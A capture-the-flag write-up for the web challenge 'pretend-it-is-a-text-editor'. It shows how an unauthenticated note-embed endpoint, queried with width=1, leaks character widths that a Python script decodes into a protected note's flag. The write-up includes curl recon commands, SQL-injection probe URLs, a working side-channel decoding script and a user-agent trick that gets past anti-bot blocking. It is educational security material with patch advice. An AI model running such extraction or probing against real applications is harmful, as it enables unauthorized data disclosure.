Skip to main content

Pretend It Is A Text Editor

Challenge

Content preserved from the original writeup source. Minimal normalization was applied to fit platform format.

Solution

Original Writeup Content (Preserved)

HENS CTF Writeup

Challenge: web/pretend-it-is-a-text-editor

Received Requirement

I received requirement x from you:

  • Create a folder in Desktop/ctfs/hens_ctf
  • Name it with squirre + challenge name
  • Create the most comprehensive writeup
  • Explain what requirement I received
  • Explain how I solved it
  • Add all code used
  • Include trial and error
  • Include the final flag
  • Explain the meaning of the flag
  • Add a glossary

This writeup is built to satisfy each one of those items.

Executive Summary

The challenge looked like a normal notes app, but it exposed an unauthenticated endpoint:

  • GET /api/notes/:id/embed?width=...

That endpoint did not return note text directly. Instead, it returned rendered line width metadata. By requesting width=1, the line breaker effectively emitted one character per line, leaking per-character width values.

Using a calibration note with known characters, I mapped glyph width to character and decoded note id 1 as a width sequence oracle. That recovered the flag.

Recovered flag: squ1rrel{pr3t3xt_i5_sup35fUn_i5_It_n0T}

Full Methodology

1) Recon: identify frontend files and API shape

I pulled homepage HTML and saw a static app loading app.js and style.css.

Command:

curl -sS https://pretend.squ1rrel.dev/ | sed -n '1,220p'

Important finding:

  • Script loaded from /app.js

Then I inspected app.js.

Command:

curl -sS https://pretend.squ1rrel.dev/app.js | sed -n '1,620p'

Important findings in client code:

  • Auth APIs:
    • POST /api/register
    • POST /api/login
    • POST /api/logout
    • GET /api/me
  • Notes APIs:
    • GET /api/notes
    • POST /api/notes
    • GET /api/notes/:id (seen from probing)
  • Embed preview API surfaced in UI:
    • GET /api/notes/:id/embed?width=400

The challenge hint text plus this embed endpoint was the key suspicious surface.

2) Baseline auth and endpoint behavior

I registered/logged in and checked my own note visibility.

Command:

tmp=$(mktemp -d); cj=$tmp/cj.txt; curl -sS -c "$cj" -b "$cj" -H 'content-type: application/json' -d '{"username":"zi","password":"zi"}' https://pretend.squ1rrel.dev/api/register; echo; echo '--- me'; curl -sS -c "$cj" -b "$cj" https://pretend.squ1rrel.dev/api/me; echo; echo '--- notes'; curl -sS -c "$cj" -b "$cj" https://pretend.squ1rrel.dev/api/notes; echo

Findings:

  • Auth worked
  • Notes list was empty initially

Then I tested unauthenticated access.

Command:

for p in '/api/notes/1' '/api/notes/1/embed' '/api/notes/1/embed?width=400'; do echo "=== p";curlsSi"https://pretend.squ1rrel.devp"; curl -sS -i "https://pretend.squ1rrel.devp" | sed -n '1,22p'; done

Findings:

  • /api/notes/1 required authentication (401)
  • /api/notes/1/embed?width=400 worked without auth (200)

This is a data exposure path through computed metadata.

3) Confirm that embed leaks deterministic rendering info

I created a controlled note and compared output.

Command:

tmp=$(mktemp -d)
cj=$tmp/cj.txt
base='https://pretend.squ1rrel.dev'
curl -sS -c "$cj" -b "$cj" -H 'content-type: application/json' -d '{"username":"zi","password":"zi"}' "$base/api/login" >/dev/null
create=$(curl -sS -c "$cj" -b "$cj" -H 'content-type: application/json' -d '{"title":"cal","content":"AAAA BBBB CCCC DDDD"}' "$base/api/notes")
echo "create:$create"
id=$(echo "$create" | sed -E 's/.*"id":([0-9]+).*/\1/')
echo "id:$id"
curl -sS "$base/api/notes/$id/embed?width=400"; echo

Finding:

  • Embed output line width matched the content-dependent rendered width.

4) Explore for direct injection shortcuts (trial phase)

I checked if id parameter or query parser had obvious SQLi/debug toggles.

Commands tested:

/api/notes/1%20OR%201=1/embed?width=400 /api/notes/1%20UNION%20SELECT%201,2,3,4,5/embed?width=400 /api/notes/1%27/embed?width=400 /api/notes/-1/embed?width=400 /api/notes/9999999/embed?width=400 /api/notes/1/embed?width=400&debug=1 /api/notes/1/embed?width=400&raw=1 /api/notes/1/embed?width=Infinity

Findings:

  • No direct SQLi/error leak to raw note content
  • No debug toggle leak
  • Infinity produced width:null in JSON, but still no text disclosure

Conclusion:

  • Need side-channel extraction, not direct read.

5) Side-channel breakthrough: width=1

I requested:

curl -sS "https://pretend.squ1rrel.dev/api/notes/1/embed?width=1"

Finding:

  • Response lineCount became 39
  • lines array held 39 widths
  • This suggested one rendered character per line, effectively a character-width oracle.

6) Build width-to-character dictionary from a calibration note

I used an authenticated account to create a note with a known charset, then fetched its embed output at width=1 and mapped each position.

Final successful decoding script used:

python3 - <<'PY'
import json, urllib.request, http.cookiejar
base='https://pretend.squ1rrel.dev'
UA='Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36'

def get_json(url, opener=None):
req=urllib.request.Request(url, headers={'User-Agent':UA, 'Accept':'application/json'})
op=opener or urllib.request.build_opener()
with op.open(req) as r:
return json.loads(r.read().decode())

def post_json(path,obj,opener):
req=urllib.request.Request(base+path, data=json.dumps(obj).encode(), headers={'User-Agent':UA,'Accept':'application/json','Content-Type':'application/json'})
with opener.open(req) as r:
return json.loads(r.read().decode())

secret_w=[round(x['width'],2) for x in get_json(f'{base}/api/notes/1/embed?width=1')['lines']]
print('secret_len',len(secret_w))

jar=http.cookiejar.CookieJar()
opener=urllib.request.build_opener(urllib.request.HTTPCookieProcessor(jar))
post_json('/api/login',{'username':'zi','password':'zi'},opener)
charset='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_'
created=post_json('/api/notes',{'title':'charset','content':charset},opener)
cid=created['id']
calib_w=[round(x['width'],2) for x in get_json(f'{base}/api/notes/{cid}/embed?width=1')['lines']]
from collections import defaultdict
m=defaultdict(list)
for ch,w in zip(charset,calib_w):
m[w].append(ch)

prefix='squ1rrel{'
out=[]
for i,w in enumerate(secret_w):
opts=m.get(w,['?'])
if i < len(prefix):
opts=[c for c in opts if c==prefix[i]]
elif i==len(secret_w)-1:
opts=[c for c in opts if c=='}']
out.append(opts[0] if len(opts)==1 else '['+''.join(opts)+']')
print('decode',''.join(out))
for i,(w,s) in enumerate(zip(secret_w,out),1):
print(i,w,s)
PY

Output yielded:

  • decode squ1rrel{pr3t3xt_i5_sup35fUn_i5_It_n0T}

Trial and Error Log

Error 1: shell expansion issue with ? in URL

I initially got:

  • zsh: no matches found: /api/notes/1/embed?width=400

Reason:

  • Unquoted question mark triggered shell globbing.

Fix:

  • Quote URL paths in loop:

    '/api/notes/1/embed?width=400'

Error 2: comment lines in zsh inline block

I initially saw:

  • zsh: command not found: #

Reason:

  • Inline command style plus comment placement caused zsh to parse comment token incorrectly in that context.

Fix:

  • Simplify block and remove/comment carefully.

Error 3: HTTP 403 with first urllib attempt

I initially got:

  • HTTP Error 403: Forbidden

Reason:

  • Remote likely applied anti-bot behavior to default urllib user agent.

Fix:

  • Add browser-like User-Agent header.

Dead Ends (but useful)

  • SQL injection style id payloads did not leak raw text.
  • Debug-like query toggles did not expose internals.
  • Direct /api/notes/:id requires auth, so direct IDOR on note body was blocked.
  • The exploitable path was metadata oracle through embed.

Why This Vulnerability Exists

The endpoint intended for visual preview exposed enough deterministic rendering metadata to reconstruct protected content. Even when raw text is hidden, high-fidelity derived data can become an oracle.

In this case:

  • Access control was weaker on derived endpoint than on primary data endpoint.
  • Returned detail was too granular (line width list).
  • Small width values transformed line breaking into per-character leakage.

Flag

squ1rrel{pr3t3xt_i5_sup35fUn_i5_It_n0T}

Meaning of the Flag

Likely reading:

  • pretext is super fun, is it not?

Leetspeak substitutions:

  • 3 -> e
  • 5 -> s
  • 0 -> o

So the phrase becomes:

  • pretext_i[s]_super_fun_is_it_not

Interpretation in challenge context:

  • The app is a pretext of being secure text editor/notes tool while leaking info indirectly.
  • It rewards understanding side channels over obvious direct injection.

Security Lessons

  • Protect derived-data endpoints with the same authorization policy as source data.
  • Minimize metadata granularity in public responses.
  • Threat model side channels, not only direct content disclosure.
  • Add abuse-resistant bounds and noise where precision is not required.

Reproduction Steps (clean)

  1. Query unauthenticated embed endpoint for target note id with width=1.
  2. Create authenticated calibration note with known charset.
  3. Query calibration embed with width=1.
  4. Build width-to-character dictionary.
  5. Decode target width sequence.
  6. Validate against expected flag format.

Suggested Patch Ideas (if this were a real app)

  • Require auth and ownership checks on /api/notes/:id/embed.
  • Return only coarse aggregate metrics (or pre-rendered image), not line-by-line widths.
  • Clamp minimum width and normalize output to prevent per-character mode.
  • Add rate limiting and anomaly detection for repeated tiny-width queries.

Glossary

  • CTF: Capture The Flag competition where players solve security challenges.
  • IDOR: Insecure Direct Object Reference, when object identifiers expose unauthorized data.
  • Side channel: Indirect leakage (timing, size, rendering metrics, etc.) that reveals secrets.
  • Oracle: An interface that answers queries in a way that can be used to infer hidden data.
  • Glyph width: Visual width of a rendered character in a specific font/context.
  • Recon: Initial information gathering phase.
  • PoC: Proof of Concept exploit demonstrating a vulnerability.
  • Line breaking: Text layout process that wraps content based on width constraints.
  • Leetspeak: Character substitution style (for example 3 as e).
  • Attack surface: All reachable components/endpoints that may be exploited.

Artifacts Used

  • curl for endpoint probing
  • Python script for decoding
  • Browser-like user-agent to avoid anti-bot 403

Final Verification

Decoded output matches standard flag format and challenge namespace:

  • prefix squ1rrel{
  • suffix }
  • meaningful body phrase with leetspeak

End of writeup.